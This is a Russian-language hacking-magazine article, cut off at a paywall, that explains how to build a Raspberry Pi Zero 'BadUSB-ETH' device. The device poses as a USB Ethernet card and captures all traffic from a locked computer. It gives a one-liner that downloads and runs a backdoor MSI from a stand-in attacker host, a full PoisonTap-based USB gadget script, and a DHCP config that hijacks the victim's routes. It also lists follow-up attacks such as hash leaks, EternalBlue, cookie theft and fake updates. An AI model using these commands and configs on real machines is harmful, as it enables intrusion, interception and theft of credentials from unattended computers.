Содержание статьи
info
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Очень плохая флешка. Разбираем атаку BadUSB в деталях».
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Windows, Linux и macOS по умолчанию умеют автоматически без участия пользователя опознавать определенные USB-устройства как сетевые карты Ethernet. И, что важно, это может происходить даже на заблокированных ПК. Именно эта особенность и дает возможность реализовать атаку, о которой я расскажу в сегодняшней статье. Этот подвид BadUSB-атак заключается в том, что подключаемое к порту USB устройство представляется сетевой картой. Однако совсем непростой сетевой картой... Но обо всем по порядку.
Что отличает эту атаку от BadUSB-HID? Главное отличие в том, что рассматриваемую атаку можно реализовать на заблокированном компьютере. Кроме того, для проведения такой атаки не требуется скрытное и длительное подключение какого‑либо девайса, она позволяет атаковать цель за несколько минут. Ведь если ПК разблокирован, то можно реализовать более простую и действенную атаку из предыдущей статьи или просто набрать на клавиатуре команду скачивания и запуска бэкдора:
msiexec /i https://attacker.tk/backdoor.msi
В итоге на «ручную» компрометацию оставленной без присмотра разблокированной персоналки потребуется всего три‑четыре секунды! Компьютеры сегодня повсюду, и торчащие наружу USB-порты можно увидеть достаточно часто.
Объектом атаки может стать заблокированный компьютер, оставленный без присмотра на короткое время, либо терминал, либо стенд с торчащим наружу USB-портом.
info
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Очень плохая флешка. Разбираем атаку BadUSB в деталях».
Теория
Подключаемое устройство BadUSB-ETH определяется как сетевая карта Еthernet. На самом деле это не просто сетевая карта, а устройство, внутри которого полноценный компьютер со своей ОС. И мы реализуем достаточно хитрую цепочку из множества атак. По сути, это собственная, более узко заточенная реализация Bash Bunny от Hak5. А за основу мы возьмем открытый проект PoisonTap.
Первое и самое главное — это то, как мы настраиваем сеть на атакуемой машине. В момент подключения интерфейс именно создается, а не поднимается. Это значит, что сразу после подключения ПК запросит настройки по DHCP (дефолтное поведение). В ответ на такой запрос наше устройство выдает не совсем обычную конфигурацию сети, при которой она станет приоритетной и перекроет все активные сетевые подключения на атакуемом компьютере. Достигается это через более короткие маски маршрутов:
0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50% IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, поэтому маршрут приоритетнее)
Во всех современных ОС маршрутизация в IP-сетях строится по единому принципу: чем короче маска сети у маршрута, тем приоритетнее маршрут. Это главное правило маршрутизации. И в нашем случае маска /
чуть короче маски /
дефолтного маршрута.
После применения таких настроек нового сетевого подключения все пакеты от других сетевых интерфейсов пойдут по новому маршруту — уже в наше хакерское устройство, и мы как бы «вытянем» весь трафик. Так мы сможем реально перехватывать весь сетевой трафик заблокированного устройства посредством обычного USB. Схематично атака представлена на рисунке ниже.
Не стоит забывать, что мы установили и обычный сетевой канал взаимодействия с заблокированным ПК. Учитывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от твоей фантазии:
- NetBIOS Poisoning (Hash leak);
- MS17-010, BlueKeep, PrintNightmare;
- Bruteforce;
- сканирование портов, скриншоты RDP/WWW и сбор прочих сведений.
Наконец, наше устройство является еще и «супершлюзом», поскольку сетевой трафик, включая и смежные сетевые интерфейсы, идет теперь через него. Находясь в позиции «легального MITM», мы можем запустить еще ряд атак, предназначенных для перехвата трафика:
- Cookie Siphoning (выкачивание cookie в redirect-цикле перебора сайтов по словарю);
- WebCache Poisoning (внедрение js-backdoor в скачиваемые JavaScript);
- Insecure Updates (сигнал популярному ПО обновиться и отправка backdoor);
- Passive Sniffing (FTP, SMTP, SMB, HTTP, etc).
Реализация
Устройство может быть реализовано на базе множества одноплатных решений. Наиболее легковесное и известное среди них — Raspberry Pi Zero (W). Эта плата не потребует дополнительного питания, необходимое напряжение берется от USB-порта компьютера. С целью индикации хода атак для простоты используем три светодиода со следующими ролями:
- зеленый (INFO) — ПК определил наш девайс как сетевую карту Ethernet, и поднялась сеть;
- желтый (WARNING) — утечка NetNTLM-хеша или иной чувствительной информации;
- красный (CRITICAL) — обнаружена RCE, подобран пароль и тому подобное.
Большинство одноплатных ПК снабжены GPIO-пинами, с помощью которых можно подавать небольшое напряжение, необходимое для работы светодиодов.
Соответственно, чтобы зажечь, а потом погасить светодиод, подключенный, например, к 26-му пину, потребуется выполнить следующие команды ОС внутри платы:
raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl
Эмуляция Ethernet-устройства, как и эмуляция других видов USB-девайсов, поддерживается непосредственно ядром Linux через так называемые USB-гаджеты. Очень красиво такую атаку продемонстрировал Сами Камкар (Sami Kamkar) в проекте под названием PoisonTap:
git clone https://github.com/samyk/poisontap
ln -s ~/poisontap /opt/poisontap
Именно этот инструмент взят за основу, особенно в эмуляции сетевой карты, но с некоторыми улучшениями:
/home/pi/poisontap/pi_startup.sh
rmmod g_ether
cd /sys/kernel/config/usb_gadget/
mkdir -p poisontap
cd poisontap
echo 0x0694 > idVendor
echo 0x0005 > idProduct
mkdir -p strings/0x409
echo "Samy Kamkar" > strings/0x409/manufacturer
echo "PoisonTap" > strings/0x409/product
# RNDISmkdir configs/c.2
echo "0xC0" > configs/c.2/bmAttributes
echo "1" > configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" > configs/c.2/strings/0x409/configuration
echo "1" > os_desc/use
echo "0xcd" > os_desc/b_vendor_code
echo "MSFT100" > os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" > functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" > functions/rndis.usb0/host_addr
echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/compatible_id
echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
ln -s functions/rndis.usb0 configs/c.2
ln -s configs/c.2 os_desc
ls /sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net 0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -w net.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.jsiptables -t nat -A POSTROUTING -o usb0 -j MASQUERADE
Поскольку атака кросс‑платформенная, требуется настройка эмуляции сразу двух составных USB-устройств: для сетевых карт RNDIS (Windows) и CDC (Unix). Перекрытие сетевых интерфейсов задается в файле dhcpd.
:
/etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 { range 1.0.0.10 1.0.0.50; option broadcast-address 255.255.255.255; option routers 1.0.0.1; default-lease-time 600; max-lease-time 7200; option domain-name "local"; option domain-name-servers 1.0.0.1;# send the routes for both the top and bottom of the IPv4 address space option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1; option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;}
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»